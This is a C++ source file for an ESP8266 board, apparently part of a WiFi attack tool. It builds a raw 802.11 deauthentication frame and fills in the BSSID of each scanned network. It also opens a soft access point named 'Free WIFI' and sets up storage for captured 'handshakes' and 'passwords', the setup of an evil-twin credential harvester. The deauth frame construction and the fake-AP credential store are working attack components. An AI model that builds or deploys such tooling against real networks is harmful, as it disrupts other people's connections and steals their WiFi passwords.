1#pragma once
2
3#include <ArduinoJson.h>
4#include <ESP8266WiFi.h>
5#include "utils.h"
6
7class AccessPoint
8{
9public:
10 String ssid;
11 String bssid;
12 int channel;
13 String encryptionType;
14 signed signalStrength;
15 int deauthState = 0;
16 // deauth pkt from spacehuhn
17 uint8_t deauthPacket[26] = {
18 /* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate)
19 /* 2 - 3 */ 0x00, 0x00, // duration (SDK takes care of that)
20 /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target)
21 /* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap)
22 /* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap)
23 /* 22 - 23 */ 0x00, 0x00, // fragment & squence number
24 /* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason)
25 };
26};
27
28extern bool setupWifi();
29extern bool changeWifi(String ssid);
30extern void initialServerSetup(IPAddress APIP);
31extern int scan_networks(AccessPoint ap[]);
32extern void list_network_details(AccessPoint ap[], int len);
33
34void initialServerSetup(IPAddress APIP)
35{
36 WiFi.mode(WIFI_AP_STA);
37 WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0));
38 if (setupWifi())
39 {
40 Serial.println("Wifi setup successful");
41 }
42 else
43 {
44 Serial.println("Wifi setup failed");
45 }
46}
47
48bool setupWifi()
49{
50 if (!LittleFS.exists("/json/datas.json"))
51 {
52 DynamicJsonDocument datas(1024);
53 datas.createNestedArray("handshakes");
54 datas.createNestedArray("passwords");
55 writeJsonFile("/json/datas.json", datas);
56 }
57 if (!LittleFS.exists("/json/config.json"))
58 {
59 DynamicJsonDocument config(1024);
60 config["ssid"] = "Free WIFI";
61 writeJsonFile("/json/config.json", config);
62 WiFi.softAP("Free WIFI");
63 return true;
64 }
65 else
66 {
67 DynamicJsonDocument config = readJsonFile("/json/config.json");
68 const char *ssid = config["ssid"];
69 Serial.println("SSID: " + String(ssid));
70 WiFi.softAP(ssid);
71 return true;
72 }
73}
74
75bool changeWifi(String ssid)
76{
77 DynamicJsonDocument config = readJsonFile("/json/config.json");
78 config["ssid"] = ssid;
79 writeJsonFile("/json/config.json", config);
80 setupWifi();
81 return true;
82}
83
84void list_network_details(AccessPoint ap[], int len)
85{
86 for (int i = 0; i < len; i++)
87 {
88 Serial.print("AP no: ");
89 Serial.println(i + 1);
90 Serial.println("SSID: " + ap[i].ssid);
91 Serial.println("BSSID: " + ap[i].bssid);
92 Serial.print("Channel: ");
93 Serial.println(ap[i].channel);
94 Serial.print("Encryption: ");
95 Serial.println(ap[i].encryptionType);
96 Serial.print("Signal Strength: ");
97 Serial.println(ap[i].signalStrength);
98 Serial.println("--------------------");
99 }
100}
101
102int scan_networks(AccessPoint ap[])
103{
104 int numNetworks = WiFi.scanNetworks();
105 Serial.println("Scan complete");
106 if (numNetworks == 0)
107 {
108 Serial.println("No networks found");
109 }
110 else
111 {
112 Serial.println(String(numNetworks) + " network found, updating ap list");
113 for (int i = 0; i < numNetworks; i++)
114 {
115 ap[i].ssid = WiFi.SSID(i);
116 ap[i].bssid = WiFi.BSSIDstr(i);
117 ap[i].channel = WiFi.channel(i);
118 ap[i].encryptionType = encryption_str(WiFi.encryptionType(i));
119 ap[i].signalStrength = WiFi.RSSI(i);
120
121 // set the BSSID of the deauth packet
122 uint8_t mac[6];
123 const char *myCharPtr = ap[i].bssid.c_str();
124 for (int i = 0; i < 6; i++)
125 {
126 char byte_str[3];
127 byte_str[0] = myCharPtr[i * 3];
128 byte_str[1] = myCharPtr[i * 3 + 1];
129 byte_str[2] = '\0';
130 mac[i] = strtol(byte_str, NULL, 16);
131 }
132 memcpy(ap[i].deauthPacket + 10, mac, 6);
133 memcpy(ap[i].deauthPacket + 16, mac, 6);
134 }
135 }
136 return numNetworks;
137}